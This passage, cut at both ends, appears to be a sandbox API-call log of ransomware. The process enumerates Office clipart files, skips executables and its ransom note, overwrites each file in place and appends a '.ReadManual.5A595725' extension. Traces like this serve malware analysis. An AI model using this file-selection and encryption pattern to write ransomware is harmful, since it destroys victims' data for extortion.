(hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.307] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.307] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.309] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.309] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b0) returned 0x2f0000 [0263.309] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.309] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38397802323) returned 1 [0263.309] CloseHandle (hObject=0x184) returned 1 [0263.309] SetSecurityInfo () returned 0x57 [0263.309] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.309] CloseHandle (hObject=0x194) returned 1 [0263.310] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0263.310] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH02312_.WMF" | out: lpString1="HH02312_.WMF") returned="HH02312_.WMF" [0263.310] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.310] StrStrIW (lpFirst="HH02312_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.310] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.310] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.310] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" [0263.310] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.ReadManual.5A595725" [0263.310] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.ReadManual.5A595725") returned 87 [0263.310] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38397896222) returned 1 [0263.310] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0263.311] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.311] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4970) returned 1 [0263.311] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x136a, lpName=0x0) returned 0x184 [0263.311] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.312] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.312] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.314] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.314] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x136a) returned 0x2f0000 [0263.314] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.314] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38398281400) returned 1 [0263.314] CloseHandle (hObject=0x184) returned 1 [0263.314] SetSecurityInfo () returned 0x57 [0263.314] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.314] CloseHandle (hObject=0x194) returned 1 [0263.314] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0263.314] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH02313_.WMF" | out: lpString1="HH02313_.WMF") returned="HH02313_.WMF" [0263.314] lstrcmpiW (lpString1="HH02313_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.314] StrStrIW (lpFirst="HH02313_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.314] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.315] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.315] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" [0263.315] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.ReadManual.5A595725" [0263.315] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.ReadManual.5A595725") returned 87 [0263.315] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38398374418) returned 1 [0263.315] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0263.315] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.315] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3082) returned 1 [0263.315] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc0a, lpName=0x0) returned 0x184 [0263.316] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.316] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.316] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.318] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.318] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc0a) returned 0x2f0000 [0263.318] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.318] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38398696879) returned 1 [0263.318] CloseHandle (hObject=0x184) returned 1 [0263.318] SetSecurityInfo () returned 0x57 [0263.318] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.318] CloseHandle (hObject=0x194) returned 1 [0263.318] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0263.319] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HM00005_.WMF" | out: lpString1="HM00005_.WMF") returned="HM00005_.WMF" [0263.319] lstrcmpiW (lpString1="HM00005_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.319] StrStrIW (lpFirst="HM00005_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.319] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.319] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.319] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" [0263.319] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.ReadManual.5A595725" [0263.319] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.ReadManual.5A595725") returned 87 [0263.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38398792847) returned 1 [0263.319] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0263.320] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.320] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23300) returned 1 [0263.320] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b04, lpName=0x0) returned 0x184 [0263.320] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.321] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.321] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.323] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.323] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b04) returned 0x2f0000 [0263.323] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.323] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38399203753) returned 1 [0263.323] CloseHandle (hObject=0x184) returned 1 [0263.323] SetSecurityInfo () returned 0x57 [0263.323] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.324] CloseHandle (hObject=0x194) returned 1 [0263.324] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0263.324] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HM00114_.WMF" | out: lpString1="HM00114_.WMF") returned="HM00114_.WMF" [0263.324] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.324] StrStrIW (lpFirst="HM00114_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.324] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.324] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.324] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" [0263.324] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.ReadManual.5A595725" [0263.324] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.ReadManual.5A595725") returned 87 [0263.324] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38399297790) returned 1 [0263.324] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0263.325] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.325] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22116) returned 1 [0263.325] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5664, lpName=0x0) returned 0x184 [0263.325] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.326] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.328] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.328] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5664) returned 0x2f0000 [0263.328] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.328] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38399696238) returned 1 [0263.328] CloseHandle (hObject=0x184) returned 1 [0263.328] SetSecurityInfo () returned 0x57 [0263.328] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.328] CloseHandle (hObject=0x194) returned 1 [0263.328] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0263.329] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HM00116_.WMF" | out: lpString1="HM00116_.WMF") returned="HM00116_.WMF" [0263.329] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.329] StrStrIW (lpFirst="HM00116_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.329] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.329] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.329] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" [0263.329] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.ReadManual.5A595725" [0263.329] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.ReadManual.5A595725") returned 87 [0263.329] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38399791680) returned 1 [0263.329] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0263.329] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.330] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15852) returned 1 [0263.330] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dec, lpName=0x0) returned 0x184 [0263.330] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.330] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.330] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.332] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.332] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dec) returned 0x2f0000 [0263.332] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.332] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38400127338) returned 1 [0263.333] CloseHandle (hObject=0x184) returned 1 [0263.333] SetSecurityInfo () returned 0x57 [0263.333] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.333] CloseHandle (hObject=0x194) returned 1 [0263.333] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, 